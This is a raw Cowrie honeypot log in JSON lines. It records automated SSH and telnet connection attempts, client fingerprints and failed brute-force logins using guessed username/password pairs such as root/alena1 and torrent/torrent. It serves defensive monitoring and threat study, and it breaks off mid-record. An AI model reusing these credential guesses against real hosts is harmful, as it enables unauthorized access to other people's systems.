{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:04.868311Z","src_ip":"27.50.25.190","session":"03bdfaeaed49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"1","message":"login attempt [ts/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:05.808398Z","src_ip":"27.50.25.190","session":"03bdfaeaed49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:07.039634Z","src_ip":"27.50.25.190","session":"03bdfaeaed49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":34234,"dst_ip":"10.17.0.5","dst_port":22,"session":"af6881873375","protocol":"ssh","message":"New connection: 147.45.199.80:34234 (10.17.0.5:22) [session: af6881873375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:10.122897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:10.127504Z","src_ip":"147.45.199.80","session":"af6881873375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:10.223195Z","src_ip":"147.45.199.80","session":"af6881873375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alena1","message":"login attempt [root/alena1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:10.516850Z","src_ip":"147.45.199.80","session":"af6881873375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":58448,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf7a387cb58b","protocol":"ssh","message":"New connection: 103.82.132.16:58448 (10.17.0.5:22) [session: cf7a387cb58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:10.653236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:10.657464Z","src_ip":"103.82.132.16","session":"cf7a387cb58b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:10.910189Z","src_ip":"103.82.132.16","session":"cf7a387cb58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:11.615548Z","src_ip":"147.45.199.80","session":"af6881873375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petruha","message":"login attempt [root/petruha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:11.669707Z","src_ip":"103.82.132.16","session":"cf7a387cb58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:12.925392Z","src_ip":"103.82.132.16","session":"cf7a387cb58b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51466,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b7aac12f431","protocol":"telnet","message":"New connection: 69.4.83.194:51466 (159.203.135.109:23) [session: 4b7aac12f431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:33.436723Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":53778,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ad9d082f24f","protocol":"ssh","message":"New connection: 182.18.161.165:53778 (159.203.135.109:22) [session: 5ad9d082f24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:38.169184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:38.174077Z","src_ip":"182.18.161.165","session":"5ad9d082f24f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:38.383360Z","src_ip":"182.18.161.165","session":"5ad9d082f24f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123ASD!@#","message":"login attempt [root/asd123ASD!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:39.232904Z","src_ip":"182.18.161.165","session":"5ad9d082f24f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":54876,"dst_ip":"159.203.135.109","dst_port":22,"session":"22d08164dca8","protocol":"ssh","message":"New connection: 167.172.174.185:54876 (159.203.135.109:22) [session: 22d08164dca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:39.707282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:39.711861Z","src_ip":"167.172.174.185","session":"22d08164dca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:39.807296Z","src_ip":"167.172.174.185","session":"22d08164dca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"asd123","message":"login attempt [test1/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:40.207600Z","src_ip":"167.172.174.185","session":"22d08164dca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:40.440005Z","src_ip":"182.18.161.165","session":"5ad9d082f24f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:41.308402Z","src_ip":"167.172.174.185","session":"22d08164dca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":56092,"dst_ip":"159.203.135.109","dst_port":23,"session":"517228b08893","protocol":"telnet","message":"New connection: 50.62.181.92:56092 (159.203.135.109:23) [session: 517228b08893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:43.783287Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54656,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9f0d7847a74","protocol":"telnet","message":"New connection: 69.4.83.194:54656 (159.203.135.109:23) [session: b9f0d7847a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:44.528292Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":51288,"dst_ip":"159.203.135.109","dst_port":22,"session":"93b89fa81751","protocol":"ssh","message":"New connection: 147.45.197.250:51288 (159.203.135.109:22) [session: 93b89fa81751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:46.826306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:46.830735Z","src_ip":"147.45.197.250","session":"93b89fa81751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:46.920392Z","src_ip":"147.45.197.250","session":"93b89fa81751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10101988","message":"login attempt [root/10101988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:47.190765Z","src_ip":"147.45.197.250","session":"93b89fa81751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56528,"dst_ip":"159.203.135.109","dst_port":23,"session":"de30224bad07","protocol":"telnet","message":"New connection: 69.4.83.194:56528 (159.203.135.109:23) [session: de30224bad07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:47.485956Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:48.282566Z","src_ip":"147.45.197.250","session":"93b89fa81751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":53694,"dst_ip":"159.203.135.109","dst_port":22,"session":"034ffa76c4bf","protocol":"ssh","message":"New connection: 213.183.120.56:53694 (159.203.135.109:22) [session: 034ffa76c4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:57.321118Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.107","src_port":32842,"dst_ip":"159.203.135.109","dst_port":22,"session":"61fe4bc740a2","protocol":"ssh","message":"New connection: 64.62.197.107:32842 (159.203.135.109:22) [session: 61fe4bc740a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:01.036126Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:01.040575Z","src_ip":"64.62.197.107","session":"61fe4bc740a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:01.047399Z","src_ip":"64.62.197.107","session":"61fe4bc740a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.85355758666992,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:06.290143Z","src_ip":"69.4.83.194","session":"4b7aac12f431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472981452941895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:14.256181Z","src_ip":"50.62.181.92","session":"517228b08893","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.596344709396362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:16.124479Z","src_ip":"69.4.83.194","session":"b9f0d7847a74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59810757637024,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:20.083929Z","src_ip":"69.4.83.194","session":"de30224bad07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":36736,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1fca6de54bd","protocol":"ssh","message":"New connection: 103.148.100.146:36736 (159.203.135.109:22) [session: a1fca6de54bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:22.586411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:22.590336Z","src_ip":"103.148.100.146","session":"a1fca6de54bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:22.858567Z","src_ip":"103.148.100.146","session":"a1fca6de54bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"torrent","password":"torrent","message":"login attempt [torrent/torrent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:23.974318Z","src_ip":"103.148.100.146","session":"a1fca6de54bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:25.250272Z","src_ip":"103.148.100.146","session":"a1fca6de54bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:29.010077Z","src_ip":"213.183.120.56","session":"39bc53bdc520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53976,"dst_ip":"10.17.0.5","dst_port":22,"session":"6351b6d947b7","protocol":"ssh","message":"New connection: 87.251.64.176:53976 (10.17.0.5:22) [session: 6351b6d947b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:29.133791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:29.138534Z","src_ip":"87.251.64.176","session":"6351b6d947b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-